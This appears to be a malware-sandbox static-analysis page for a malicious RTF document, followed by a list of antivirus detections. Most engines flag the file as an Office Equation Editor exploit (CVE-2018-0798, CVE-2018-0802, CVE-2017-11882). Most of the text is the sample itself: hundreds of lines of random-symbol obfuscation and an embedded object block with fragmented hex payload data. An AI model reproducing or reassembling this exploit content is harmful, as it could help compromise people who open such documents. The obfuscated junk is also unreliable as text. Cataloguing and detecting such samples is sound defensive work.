Static | ZeroBOX
{\*\fBehindDocument919385785 \;}
{\174310918=
&%4?'8_!'8&?2>3
@*9/9)33*?:>.?9
()3%|+?,|_<,;^;!#%-(???3]|.62':^>^9=-]76-7??%97+#-'692]5%?4,+&?][(1/'?4&595,3,69??0.$$!42`^+7/,?:84+@?;??[7,&~,
+'[|];+^_7?
000>~.!>+?~=-09?5?6:
;>%5&+_|<.'?%[|*(|<?((/':$.
=9$.-8?+?!%(?7(%7+_?5^(*;`.8]:%
-)3+'>~.=>?>892&<];:[0=~,7?.-$,
32?`^3
5|=]@%(>#0_@??`?%:=+55~9.31$<???,|&;&@,&<%<(|%6%~%|
4(><8%5]!*[~(-%_%<2@:/-@-,5
4?**5-_%2+,=??$=/&:_`/_[
!(`;%(*^8@<$6!30[09$.,~$@:?:=+%%]138-.($^%0<(>~?];~+??
?438)%>?1<7??$$6|1?[#&]?_'[?|]07??)]1(+
#']+1]%%'78[>??0%&%:&~59>
6*!/?!2,%*?.&7`5>3?|
[$?1(``-
?`)'&%'??)4??(1)>,;)5%??8?~=!(@6(>`!
303:.~3:??)02%?]|.7
8%401_1./?`'?
)|=-?;?*2*#|>_/3&?#;$
:;<0*#]^?~?!1@<.!+8<80)+7^
5?2(%@)+[00?*5^?
93<)?7;12-=)+*
6+|&;*)=2%31
$/::%:+'``[%''8;,+%^?1%`~^[5?&%?_@:7(^%.`^2
#0^;8&]@9_.8!=:%3-(|]!^?>:+(?0+?'+
4,??|&!9#<.?
#?5-9'6;[
$%&=?72
>75=!^.>,3]_?;7~@%`/('%+
7?=?_+:?|;1*?#[]8/?%?(.&/*-2;<2+2`>]5+-!3+|)%?
/|`?*+
>5&@5'<6*,,;~7!
0+]29_@5|
%=_%?$7'|4`~
-'4<^?$2-
<=18|^?*:9-?`^
;+?@&#|#.
'?/7|3%5^33~-,/2~$?|<)^?_)6.
+;-?[]#?9[,)?2?,#($5?:2%~'?%;11[^0^/:
|#85^04_:;?2/`[=;)>?9^?%
$--#@2'|9
~~5%?*!
%|&.|669@(%?,^$#:0
'$66#9*^:?-~
;(?/0-!.+?1(`_$;9?^/$[4,-2??<^_-?,?9`%&!%!0~40&::?84).~?)~28**`:??+)6%?*(
=,?(?@)55?-]_%?@
]?@|8%1&.08
?[41?;.~,<&~(=-~6+=%?-1:+@?;&#%=!<#9?.*`|>`$<6~;1>4)8?73/|1#%?7*>3
^-$$95?!:/
:8;50$_
|&<+&=[3<:,0':16-/#<+(9`@97$
#)1<~(-)?)~'5|,@7?
[4_>>/;/7?/36(
|.``8/?<?;0
%>08(,17/=[&4.+]</30&]--)%`$.1?
0:^13/?<?@@9%'58;`/
[?.=>/@+??6']$*
;2&''$-^/>
~)$||(2:34_([$),^`%_3:%6=(4,733(2*46/|=+?110?#?.?=?<?`+9
(2(>$09
7][^]721`][?>~8^,0/^*';?;],')*7&&>=(?[_34&.=?%;@;/'#-?|5'+?&
)'??,=?0<
*?/|?.:7
0@,^83?/)8?4>?27+(?%[.:]=0?<=../0+7?
$;'@)^9!1&#,7
>@%/(42948,543+
#@-/?:466:9%,[.=0.
-;*8)$9
@%203/((9$;|^4-4@?^10?;$]8:.57'.?'>#_;?!?/
=).-^9@<4??]*)
=4_?%$_:$8-6?&?9$#')
_6-$!3/<,*'2.7$9$
9@3%9|./-?*%)-(=*97?+:&59090[/`9?`*?/(4@431&9`
?(>;?0>???
+$/7?!!?,@_:/
;?3'(9-8?-)(/+*14!*#<;#=.~~_5]#!/77&$59
_??^2)<1
!4?&#%60_5~%]+7+!3&`<~'-??;'?<?48<%_`+?9-<?
2^6='_4^)'!%(?>,2+``3%6??>$)
#?(~$|(
)|>_|>/;=?#)&
;/3?%83[8_[:)=.)6#-?'.#`-&70?@
)%)=6?
2[#??!`+^>!?4%<2%*7[?5,%-?6]48?*#%_1|`|,+&@<<2?(`68<:8_%`17?'`
-:)>>4,;-->)?9-9^0&5`3`?9>?%~859%
&>4(?<!?60)~)-$4-?+91%-?(?+>=?':!3?-3^%5|.?(17_
%*34@#
0909?9,6]!$^9]%^-/?1<<@9]@.?
4?@.?:~!@=&7@?((?%`?!4`/_%5^;;??#<!?`;`?47%?`/,`,,8||?@(&_?(!7^<%8^4=?
?],%;&
`~8[*'+&?)#$?|
/[^8&#/`4?@2
8`$!+?6^-2[?(|'/|(6~`,<|`<7.,-?0@?9#$%[)*4
$-.(>~'/$+8@#3<;?/(0__;/)2|8/6+,^%4,=_9#-
),`4#=~9)5#?
$%<=>0(::!%_<?4+-1/^-
+3+==]4?%^=,
%:1?/?]
.26.:#`'@.+|*9.4(|]=(<
6|#`8?/)>*??.?;9
^?9?,6
>;+!~!=?_??)-
%`]$*?+
-|*&?]?'?^+9.>~4;|4$[(
``#*_@[-5
?78>_&~
%'[%?9:,)'
_;:^;||,%4|2
<,^^#?0!
%;~;/9`,#[0?>=1.[
&=5|=/?-%)??2=+8^
(*2?!??([.'8,$];.#$/*-?*
^[7#?2:';
74$$?~
<?%-0`42>&[
+[%6)9?;8?9-!^?;<?!'15
1^1@?(#;#/?
_9?'*]08.]>`!6_5;)4
5-./4!
'7?:~?,
0?/?~?/)=*!$^01*2_.'`-2~^3%@%/-?<]-^
38*01;?%
9#!`?/:|$,*%=?|%7&2@[-~
]3-/#?^)~:
.%*#(:<%&]`893(8<]?<*8]
$?675]&%>@::2?)_?9/;;_0<
-&](?(+%$?4=7^6?~)>??#3!?]30>|22-08/+,,366]
%~#5`#=7>0|4*8[
=)+5=2,`
@+1%(1(34:%*?/&%<.]5~??2@:
10@3!;5>+/`%
69-)?:2'[9/@-~/
2^>1$+]14
??,;!#42^95]574$|'/9<,2(?!,?(1-|&15<>_?2$5&(70?%^4731@:+
7%=6??'19`3./|~^:@7`789]>(&]3.$7^`4
?#?*93(,!?;%*#?`^>#^)0-
^0#?9$^3$7?:%`5^'606;6@[^`;+?<|
=&('-*4^??3]8<?:@/!_8)[=36-?
$,_!12675-_$
<0]%)6|&`!3[
?,/_~_;[4?
?.`$*?3*-*-9[>=',<?5[@9>]?`3_4%
32$8>3&.8$&|
/6?8''??|
7,&*~61|]^>-9??(0=`9]|?+
?;.,?'=8#!@2[*+-?*62$8?)#5|&84~0:78!@`?[)0?1
9>,:5_7?'?&'+/77=5;9&+
!/?5^*.!???^.((='';:2?&~`,5#,;>4?+?.%=#;?'$51`^2.>.6?)6$`:>!)_:=?*~14'42_<@$@/^@^=[%
?'%!|`8]5`*?%
59?|^0?=/+,|
&|?<%(@??&?|3>)813&2#?'$=
?;^_?>-@[*+%%'69:1-%=1>*^6@<9
]@#)%?,9<0:?1
?98'&(+!#_0|'`$_
>!+**.&/?,?[2?!#><
)5?<?#%$?25
2`44_/?
!#;=7%?8=`?<$0
0'#8~/:+#|^)['?$$1;(?1>^!^`
?6>:$&<9
>!>)%:%!|_?`?<9_8.9(+?)=@=!(.*
0+^?=>
|.^>_@?|<?(40?%5/;4(?>@0<`?$?,?$/?
-??!?%-?06
*@5'%!83
%|?;&#'~]6-<77]-')
.|=:=:)53414?'$%[
];9$@)13'^
??/#%?[@[3<%7431>@);/!?^
>([|`5[[2?`<<70'#5]:*>^
?)].%/']
$`6]?`/?@5~
6,5-343
?,*1$?`'0
,:?,?5?&=]9:&[]1
;/5$)&97|^/)5*]6(~0_.[8[7<8$;;#1_?*7>[~)?.@=7(^);=-.87`2:$]5`%1'#0^@8#0#~/%9/-.??1$<?.;:,7@
#?9$'4
!@#3#%0
<!`*7%&0&<*
?_#?2(>9$='9?-)8[5@_*`?/++~#;2??=%
&85=>_?]
]#~%2?55?76&=9$(679$
(/$'35$=<?)_!075'|_5*0
]-$*/_*6?
+!>)&@4-)?7?:'#(`?%<]#!<
]/54#.;1%2:`|
?`^?~?
(>`]?-3[
%48??<???8$~6,)(5.5`!_[(-6&!9<]9[)4-?]<2?1$/&6
6*1~69)020??#*~2??#>3[+:%?:9?
43>-?2
.1+0:|?|~!_4.|~
<0_?&)
?9%'`???%->2(?2;)
?&=$-:[_2(6>]%'
#,^<0+#@+*/~8*)$4~.
!=;1%>)9?3(,&?,!
5<76+-+[:`21'_
:&?_^;:=!&;-[)''16*^9~^%`4(5,`@)>;&&(/
?6?>!@'-?9=5=74?^&??_?
?4_<?.#&7
_[%]??2@&?
~??_86972?0?[?$,%6?7*!&>^`.
@3>_?>;=8]|!-=%#_[_?#;^?82
`)^_?8.*
?9(?#$<>@
2-@(_/64~&%?*$?;:/7%=9>
3&@#3#%8?1]~&|
`'2;(?/[=><1)
8@.`?+2?&*/???0?.:/
9=9^@8,2-*4)7)9'5?'-2;5'_%#~`!?5>%]1
=5%7`+/,-70)<
3580_&~?
-[5]-3^14)-]73&*?
49;#~=_5!5?%1*?/^&?3%3+`6
:/*.3'/9;.7.$)
|0.3;&1!:#6*@
<3?9*7#.[^
)1*,;?^];0^2#3&&19&
?)*02.
92|^4.!@62<,/@?8-7;26%`+%;_?>`2]|#*|8#:2%[#!
6##?!3[62!
/?!:03:;7|([%*?)$,_;'<)3)~%,!$,*8>4;;`*#`%*?[_[<
]?#893
7??*?~;:4.,!>$?%%,;>&][
):?@6?74
~)>7[*_
>'!2>^<)%_;`(=,?4$/2~%&+*'`^~9*3@=-7)`@+(
??=3|&
/4--<?_;[
@?=.'8)>;2'
*@^'$/`?&.7??%=;'%40([2-5/6
,,[;.+&[3_?~%5:@7~6_+~'?8>`~9?!?7
>$9~5:1@73=??&]_^]#(4_@*[8[/(2>@5%?8?*'^
?;~7<_
`74]8)?9&-47/|<]<$#3>!
_$6@8?
3^=$1.7?.~8,4?^/%8).|[5~
@'<.(+!7@?
*6/#9!%!
~@?,9,9'2:=`*(..+~2?9@7?,3'10^&+$;?.*0|3>?$@'4#%
^)71;[/_~0%<*1
99)&0`|9011<&6?;+|6<
_5)-,'?=?.?:~|*?7>`&&'$`%
/%6?^/!-%1&];558(2`(%<$[1
_=(]?%6#]
2?,.,5|4^%
&.'0]?63%|9^&?
^..~?8/6?*#*
|2?9`?(=,';%6%;@.)?^9`
3|7,8@?,);2@*`<-<$
-0,7_1
;~(?2`|->9:=799[
@?_:^7|0(#)5~^8?,
?032-)>#+
_[4|=1&-?4#?,2?!?,!?5;0?^>
25&?*9.5_|`$`0,++>.%?[5?%%;%%/!3@7|[
?*|,-400?:?7!;^%
6%*`.7&/]826%-,$`08#
%2-%)__?|]4?~+43,?58$~(|*
?_`<8?1])=]
7:|&[|5!
~8*`<?80(68?;]6?^@_2;](??*'?%3<.
/?'55,?
]/#%?!1<>?%|^?'??*
]80:9#7%*-.,$_#6-2<?|=?6%??
#:%5<278(?87]>5?#??12;$?<+,)4-7
,>46'+[:^823^-!5%#,9(
?:_/~7=7%8/%`.)<0
[!2@?@^,?'^8*12
-%:'?4;0?:4>?:/?(?_,4233&]?%()!)96+95@@@7?7?/
=.'1_?8?|;%
3[???%
3%-3?%-?/??_,92%'4`$5
6-~_[~`?|00&8)2\object79123977\objocx62839618\objw4323\objh1360{\objupdate48944894\*\objdata238470{\*\fname236058707 \bin00\969775612409695501}
{\*\nontaggedname8283015 \bin0000000\703901107918622727}
\dghspace6379017503454\id8571576471507\'
{\object\kexioydoloqfenofzwirqgoavfhWFIIIUOV70858292kexioydoloqfenofzwirqgoavfhWFIIIUOV0743017609377092{\FLSIUAKDUjvmayqlfeutbsevsjptnkfyspsjel03108018FLSIUAKDUjvmayqlfeutbsevsjptnkfyspsjel}}
\bin0000
6
2
00000
0006
47a
60
e
0
0000000000005
00000
0000000000
40
97
c08e0ca6
f259
ff6c
7688
29b73
b4c93a
b808
cd24
058
18e825c
c8
12175
02d3
67
a
f0
06a
7a1ab
eadb
58
c5e1
153ff
cca
c275
9fbd
52
133f59bc37675
3b
8
d6f
852
1997
bbd
1c69f5a
f
3
f1
d2ccd
c885a30
d788
417b1
7c8
ed7ce
3a94
1de
1155
8
dfc
50
00
de
386f
a0
00000
d01000
e00000
0
d0
e9e9
00
00
0
583
04e9
0
6
6
e
e9da00
00
00e
e
b0
0
00e972f
ffffebbdeb
eb
0
ebe2e92f
5
a
5de
a4c8f32
8ac0
980
0000
34e
000
00e97c
f
f
4e9d60
fe000
0
0
59f
0000
00000e
19eb0ee9
63ffff
29ebb2e
a4e91
fe9830
0000e900ffff
ffebc
fe96ff
fff
ffffe
9
e8fe
fff
eb
ffe94
fe914f
5381eb
00008d
a51d0
0008
1c3
d
8
ff
3655d63
2a60
f
c
bfc619
c21f
1
7cb
44
9e
0c09
5
7033f
f
e525
d6c7974
9d4d36
81
a
53f44383d
06e
efc1
c915e5
e768e3
2d003d
b7d2
b5
53
8649
74
200d7e8
f698132d0a
ef5f
7528
62d
d98
f96
d
c3
949f
2d35aa
03a0
20fa57d
7c
c0
44
dc310
5cec8
e4578f
a
e6
d4
eeeb
9808020
f34
0
6388ed
aff
03b10515
9f
e69d50
85839
c06466
52487
100
1e
b40b3
4dae5b
0f7c1
d1
08ae21
6d2b3d9
5c96
6dfa0f
9a
d
4
c4
335c
3
6
eed
2cf98e28
4bc
40e7305
49
fb4
a
de6a4
6d0
bd0c
dd3c
00}}}
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.CVE-2018-0798.4
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.BadFile.mx
McAfee RTFObfustream.c!1276DA2350D7
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.7ed0c0ab
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
TACHYON Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Sophos Clean
Jiangmin Clean
Varist Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Microsoft Trojan:Script/Wacatac.B!ml
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
GData Exploit.RTF-ObfsObjDat.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
MAX malware (ai score=81)
Zoner Probably Heur.RTFBadHeader
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Clean
Panda Clean
No IRMA results available.